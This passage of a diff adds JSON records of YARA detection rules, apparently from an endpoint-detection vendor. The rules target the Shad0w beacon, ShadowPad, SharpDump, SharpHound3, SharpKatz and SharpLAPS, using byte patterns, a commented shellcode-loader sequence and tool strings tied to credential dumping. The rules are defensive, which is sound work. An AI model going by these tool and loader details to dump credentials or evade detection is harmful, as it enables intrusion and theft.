+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578247Z",
+  "creation_date": "2026-03-23T11:46:25.578250Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578259Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/shad0w"
+  ],
+  "name": "shad0w_beacon_unpacked.yar",
+  "content": "import \"pe\"\n\nrule shad0w_beacon_unpacked {\n    meta:\n        title = \"Unpacked Shad0w Beacon\"\n        id = \"8c0e4bf5-cb7f-418a-aa42-25e54d6dc1b2\"\n        description = \"Detects the SHAD0W Beacon stage1 payload after unpacking.\\nThis stage is encrypted and designed to download and execute the second stage payload upon decryption.\\nIt is recommended to isolate the system and perform a detailed analysis of the memory space.\"\n        references = \"https://github.com/bats3c/shad0w\"\n        date = \"2020-03-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1140\"\n        classification = \"Windows.Framework.Shad0w\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode_loader = {\n            55                          // push    rbp\n            48 89 E5                    // mov     rbp, rsp\n            48 83 EC 30                 // sub     rsp, 30h\n            E8 ?? ?? ?? ??              // call    X\n            8B 05 ?? ?? ?? ??           // mov     eax, cs:Size\n            89 C0                       // mov     eax, eax\n            41 B9 40 00 00 00           // mov     r9d, 40h ; '@'  ; flProtect\n            41 B8 00 10 00 00           // mov     r8d, 1000h      ; flAllocationType\n            48 89 C2                    // mov     rdx, rax        ; dwSize\n            B9 00 00 00 00              // mov     ecx, 0          ; lpAddress\n            48 8B 05 ?? ?? ?? ??        // mov     rax, cs:VirtualAlloc\n            FF D0                       // call    rax ; VirtualAlloc\n            48 89 45 F8                 // mov     [rbp+var_8], rax\n            8B 05 ?? ?? ?? ??           // mov     eax, cs:Size\n            89 C2                       // mov     edx, eax\n            48 8B 45 F8                 // mov     rax, [rbp+var_8]\n            49 89 D0                    // mov     r8, rdx         ; Size\n            48 8D 15 ?? ?? ?? ??        // lea     rdx, X          ; Src\n            48 89 C1                    // mov     rcx, rax        ; void *\n            E8 ?? ?? ?? ??              // call    memcpy\n            48 8B 45 F8                 // mov     rax, [rbp+var_8]\n            FF D0                       // call    rax\n            B8 00 00 00 00              // mov     eax, 0\n            48 83 C4 30                 // add     rsp, 30h\n            5D                          // pop     rbp\n            C3                          // retn\n        }\n\n        // Those are mingw strings, as all shad0w beacons are compiled with mingw\n        $s1 = \"GCC: (GNU) 10-win32\"\n        $s2 = \"Argument domain error (DOMAIN)\"\n        $s3 = \"Overflow range error (OVERFLOW)\"\n        $s4 = \"Partial loss of significance (PLOSS)\"\n        $s5 = \"Total loss of significance (TLOSS)\"\n        $s6 = \"The result is too small to be represented (UNDERFLOW)\"\n        $s7 = \"Argument singularity (SIGN)\"\n\n    condition:\n        all of ($s*) and $shellcode_loader\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "shad0w_beacon_unpacked"
+  ],
+  "rule_creation_date": "2020-03-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Shad0w"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-shad0w_beacon_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577595Z",
+  "creation_date": "2026-03-23T11:46:25.577597Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577602Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/shad0w"
+  ],
+  "name": "shad0w_beacon.yar",
+  "content": "import \"pe\"\n\nrule shad0w_beacon {\n    meta:\n        title = \"Shad0w Beacon\"\n        id = \"411e09a7-3b6e-43d9-9b19-829ac7527942\"\n        description = \"Detects the SHAD0W Beacon initial stage payload.\\nThis stage is packed with UPX and encrypted with Donut, designed to evade detection and download the second stage.\\nIt is recommended to monitor for network traffic originating from this process.\"\n        references = \"https://github.com/bats3c/shad0w\"\n        date = \"2020-03-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1140\"\n        classification = \"Windows.Framework.Shad0w\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        /*\n        ** Import table represented by the import hash 9aebf3da4677af9275c461261e5abde3:\n        **\n        ** KERNEL32.DLL: LoadLibraryA\n        ** KERNEL32.DLL: ExitProcess\n        ** KERNEL32.DLL: GetProcAddress\n        ** KERNEL32.DLL: VirtualProtect\n        ** msvcrt.dll: exit\n        **\n        ** =============================================================================\n        **\n        ** Import table represented by the import hash 6c29ae5aa6b6070da1952d552421e5b9:\n        **\n        ** KERNEL32.DLL: LoadLibraryA\n        ** KERNEL32.DLL: ExitProcess\n        ** KERNEL32.DLL: GetProcAddress\n        ** KERNEL32.DLL: VirtualProtect\n        ** WINHTTP.dll: WinHttpOpen\n        ** msvcrt.dll: exit\n        */\n        uint16(0) == 0x5a4d // Ensure the file is a PE\n        and filesize >= 5KB and filesize <= 1MB // Ensure the file has a reasonnable size to be a shadow beacon\n        and (pe.imphash() == \"9aebf3da4677af9275c461261e5abde3\" or pe.imphash() == \"6c29ae5aa6b6070da1952d552421e5b9\") // Ensure the import hash matches any import table described above\n        and for all section in pe.sections : ( section.name matches /^[a-zA-Z]{3}[0-9]$/ ) // shad0w renames UPX sections with a 3-letter random string\n        and for all section in pe.sections : ( not ( section.name matches /^UPX[0-9]+$/ ) ) // We don't want to trigger false positives against similar UPX-packed binaries.\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "shad0w_beacon"
+  ],
+  "rule_creation_date": "2020-03-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Shad0w"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-shadowpad_obfuscation_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583633Z",
+  "creation_date": "2026-03-23T11:46:25.583635Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583640Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html\nhttps://attack.mitre.org/software/S0596/"
+  ],
+  "name": "shadowpad_obfuscation.yar",
+  "content": "rule backdoor_shadowpad_obfuscation {\n    meta:\n        title = \"ShadowPad Malware Obfuscation\"\n        id = \"5db39d2a-7a81-4d9c-bc5b-6c7bba5205d4\"\n        description = \"Detects the ShadowPad malware.\\nShadowPad is a modular backdoor attributed to APT41 (a Chinese APT) that is decrypted in memory using a custom decryption algorithm.\\nShadowPad plugins are sold separately and can add a variety of functionalities to the backdoor including obfuscation techniques, exfiltration or command and control abilities.\"\n        references = \"https://www.trendmicro.com/en_us/research/23/g/supply-chain-attack-targeting-pakistani-government-delivers-shad.html\\nhttps://attack.mitre.org/software/S0596/\"\n        date = \"2023-07-17\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1055;attack.command_and_control;attack.t1071.001;attack.t1071.002;attack.t1071.004;attack.t1105;attack.s0596\"\n        classification = \"Windows.Backdoor.ShadowPad\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 4e3a455e7f0b8f34385cd8320022719a8fc59d8bc091472990ac9a56e982a965\n\n        $calc_addr_next_instruction = {\n            41 5?                                         // push    r12\n            0F 8? ?? ?? ?? FF                             // js      loc_18000572F\n            0F 8? ?? ?? ?? FF                             // jns     loc_18000572F\n            (E8|E9) ?? ?? ?? (00|FF)                      // call | jmp\n        }\n\n    condition:\n        #calc_addr_next_instruction > 8 and filesize < 10MB\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "backdoor_shadowpad_obfuscation"
+  ],
+  "rule_creation_date": "2023-07-17",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.ShadowPad"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.004",
+    "attack.t1071.001",
+    "attack.t1055",
+    "attack.t1071.002",
+    "attack.t1105"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sharpdump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585359Z",
+  "creation_date": "2026-03-23T11:46:25.585361Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585367Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GhostPack/SharpDump"
+  ],
+  "name": "sharpdump.yar",
+  "content": "rule sharpdump {\n    meta:\n        title = \"SharpDump Tool\"\n        id = \"11b18120-df94-49c8-a616-37f55fc504f7\"\n        description = \"Detects Sharpdump, a C# tool that ports the functionality of PowerSploit's Out-Minidump.ps1 script. It enables the creation of minidumps of processes, such as LSASS, to extract sensitive information like credentials, and compresses the dumps into GZIP format for further analysis.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/GhostPack/SharpDump\"\n        date = \"2022-09-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.003\"\n        classification = \"Windows.Tool.SharpDump\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 2a80b75a42065edd12b30d09eabd1dfc2a4bd522a5ce964b2424b46267688809\n        // 8e7eaf585d3bc9f87159ff49850b074c42a7b192ce6540b06ed04ded87ba0d92\n\n        $s1 = \"SharpDump\" ascii\n        $s2 = \"SharpDump\" wide\n        $s3 = \"Please use \\\"SharpDump.exe [pid]\\\" format\" fullword wide\n        $s4 = \"[*] Dumping {0} ({1}) to {2}\" fullword wide\n        $s5 = \"[+] Dump successful\" fullword wide\n        $s6 = \"[X] Not in high integrity, unable to MiniDump!\" fullword wide\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 600KB and 5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sharpdump"
+  ],
+  "rule_creation_date": "2022-09-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.SharpDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sharphound3_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563333Z",
+  "creation_date": "2026-03-23T11:46:25.563335Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563341Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0521/\nhttps://github.com/BloodHoundAD/SharpHound3"
+  ],
+  "name": "sharphound3.yar",
+  "content": "rule sharphound3 {\n    meta:\n        title = \"SharpHound3 HackTool\"\n        id = \"d1245878-035e-46fd-9eed-184d6f1cc675\"\n        description = \"Detects SharpHound3, the data collection component of the BloodHound project.\\nSharpHound3 is used to gather information about an Active Directory environment, including user, computer, and group relationships, which can be exploited to identify potential attack vectors within the domain.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://attack.mitre.org/software/S0521/\\nhttps://github.com/BloodHoundAD/SharpHound3\"\n        date = \"2022-01-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.s0521\"\n        classification = \"Windows.HackTool.SharpHound3\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $clear_string_marker_exe_name = \"SharpHound.exe\" ascii\n        $clear_string_marker_pdb_name = \"SharpHound.pdb\" ascii\n        $clear_string_marker_invoke = \"InvokeSharpHound\" ascii\n        $clear_string_marker_ldap_wrapper = \"SharpHound3.LdapWrappers\" ascii\n\n        $string_marker_task_gpogrouptasks = \"SharpHound3.Tasks.GPOGroupTasks\" ascii\n        $string_marker_task_computeravailabletasks = \"SharpHound3.Tasks.ComputerAvailableTasks\" ascii\n        $string_marker_task_containertasks = \"SharpHound3.Tasks.ContainerTasks\" ascii\n        $string_marker_task_groupenumerationtasks = \"SharpHound3.Tasks.GroupEnumerationTasks\" ascii\n        $string_marker_task_localgrouptasks = \"SharpHound3.Tasks.LocalGroupTasks\" ascii\n        $string_marker_task_outputtasks = \"SharpHound3.Tasks.OutputTasks\" ascii\n        $string_marker_task_objectpropertytasks = \"SharpHound3.Tasks.ObjectPropertyTasks\" ascii\n        $string_marker_task_acltasks = \"SharpHound3.Tasks.ACLTasks\" ascii\n        $string_marker_task_spntasks = \"SharpHound3.Tasks.SPNTasks\" ascii\n\n        $string_marker_log1 = \"[-] Cache Invalidated: 0 Objects in Cache\" wide\n        $string_marker_log2 = \"[+] Cache File not Found: 0 Objects in cache\" wide\n        $string_marker_log3 = \"[+] Cache File Found! Loaded {0} Objects in cache\" wide\n        $string_marker_log4 = \"Initializing SharpHound at \" wide\n        $string_marker_log5 = \"Loop specified without a duration. Defaulting to 2 hours!\" wide\n        $string_marker_log6 = \"Unable to determine user's domain. Please manually specify it with the --domain flag\" wide\n        $string_marker_log7 = \"You must specify both LdapUsername and LdapPassword if using these options!\" wide\n        $string_marker_log8 = \"LDAP Connection Test Failed. Check if you're in a domain context!\" wide\n        $string_marker_log9 = \"Skipping looping because loop duration has already passed\" wide\n        $string_marker_log10 = \"SharpHound Enumeration Completed at \" wide\n        $string_marker_log11 = \"! Happy Graphing!\" wide\n        $string_marker_log12 = \"[+] Creating Schema map for domain \" wide\n        $string_marker_log13 = \"[-] Removed LoggedOn Collection\" wide\n        $string_marker_log14 = \"[-] Removed RDP Collection\" wide\n        $string_marker_log15 = \"[-] Removed DCOM Collection\" wide\n        $string_marker_log16 = \"[-] Removed PSRemote Collection\" wide\n        $string_marker_log17 = \"[-] Removed LocalAdmin Collection\" wide\n        $string_marker_log18 = \"[+] Added GPOLocalGroup\" wide\n        $string_marker_log19 = \"-------Computer Status Count-------\" wide\n        $string_marker_log20 = \"[+] Pre-populating Domain Controller SIDS\" wide\n        $string_marker_log21 = \"[+] Finding Stealth Targets from LDAP Properties\" wide\n        $string_marker_log22 = \"[-] Terminating Producer as cancellation was requested. Waiting for pipeline to finish\" wide\n\n        // https://github.com/BloodHoundAD/SharpHound3/blob/7615860d963ba70751e1e5a00e02bb3fbca154c6/SharpHound3/Helpers.cs\n        $sharp_hood_helper_getloopfilename = \"BloodHoundLoopResults.zip\" wide\n        $sharp_hood_helper_null_key = \"NULLDOMAIN\" wide\n        $sharp_hood_helper_groups1 = \"268435456\" wide\n        $sharp_hood_helper_groups2 = \"268435457\" wide\n        $sharp_hood_helper_groups3 = \"536870912\" wide\n        $sharp_hood_helper_groups4 = \"536870913\" wide\n        $sharp_hood_helper_computers = \"805306369\" wide\n        $sharp_hood_helper_users = \"805306368\" wide\n\n    condition:\n        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x4550) and (\n            4 of ($string_marker_task_*) or\n            8 of ($string_marker_log*) or\n            all of ($clear_string_marker_*) or\n            7 of ($sharp_hood_helper_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sharphound3"
+  ],
+  "rule_creation_date": "2022-01-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SharpHound3"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sharpkatz_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585097Z",
+  "creation_date": "2026-03-23T11:46:25.585099Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585104Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/b4rtik/SharpKatz"
+  ],
+  "name": "sharpkatz.yar",
+  "content": "rule sharpkatz {\n    meta:\n        title = \"SharpKatz Tool\"\n        id = \"f3214da1-ed59-4cf6-b4db-98d4652ec903\"\n        description = \"Detects SharpKatz, a C# port of Mimikatz.\\nSharpKatz is a tool designed for credential dumping, specifically targeting the LSASS process and other Windows services to extract credentials. It is capable of capturing plaintext credentials, NTLM hashes, and Kerberos tickets.\\nThe tool is often used in red teaming and penetration testing to mimic adversary techniques for credential access.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/b4rtik/SharpKatz\"\n        date = \"2021-07-09\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002\"\n        classification = \"Windows.Tool.SharpKatz\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // https://github.com/b4rtik/SharpKatz\n        $sharpkatz1_s1 = \"SharpKatz\" ascii\n        $sharpkatz1_s2 = \"MSV1_0_PRIMARY_CREDENTIAL_10\" ascii\n        $sharpkatz1_s3 = \"KIWI_KERBEROS_LOGON_SESSION_10\" ascii\n        $sharpkatz1_s4 = \"KIWI_BASIC_SECURITY_LOGON_SESSION_DATA\" ascii\n        $sharpkatz1_s5 = \"8568b4c1-2940-4f6c-bf4e-4383ef268be9\" ascii\n\n        $sharpkatz2_s1 = \"[x] Error: Could not find offset to AES/3Des/IV keys\" wide\n        $sharpkatz2_s2 = \"[*] Example: SharpKatz.exe --Command\" wide\n        $sharpkatz2_s3 = \"e3514235-4b06-11d1-ab04-00c04fc2dcd2\" wide\n        $sharpkatz2_s4 = \"[*] mode        : replacing NTLM/RC4 key in a session\" wide\n        $sharpkatz2_s5 = \"Primary:NTLM-Strong-NTOWF\" wide\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 300KB and (\n            (4 of ($sharpkatz1_*)) or\n            (4 of ($sharpkatz2_*))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sharpkatz"
+  ],
+  "rule_creation_date": "2021-07-09",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.SharpKatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sharplaps_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584744Z",
+  "creation_date": "2026-03-23T11:46:25.584746Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584752Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/swisskyrepo/SharpLAPS"
+  ],
+  "name": "sharplaps.yar",
+  "content": "rule sharplaps {\n    meta:\n        title = \"SharpLAPS Tool\"\n        id = \"09dd0c71-dce3-4523-ad1f-2c143f86be0f\"\n        description = \"Detects SharpLAPS, a tool used to retrieve LAPS passwords from the Active Directory.\\nSharpLAPS is a tool designed to extract local administrator passwords stored by Microsoft's LAPS (Local Admin Password Solution) feature on domain-joined computers.\\nThe tool requires domain admin privileges or specific rights to query the Active Directory for sensitive information.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/swisskyrepo/SharpLAPS\"\n        date = \"2023-07-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555\"\n        classification = \"Windows.Tool.SharpLAPS\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // d4e30d80e0d2e1884270c75a2d13df486b54d0622925daaffa7ec78c942e3d45\n\n        $s1 = \"LDAP://{0}:{1}\" wide fullword\n        $s2 = \"[+] Using the following credentials\" wide fullword\n        $s3 = \"[+] Extracting LAPS password from LDAP\" wide fullword\n        $s4 = \"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=\" wide fullword\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sharplaps"
+  ],
+  "rule_creation_date": "2023-07-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.SharpLAPS"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sharpnbtscan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585133Z",
+  "creation_date": "2026-03-23T11:46:25.585136Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585143Z",
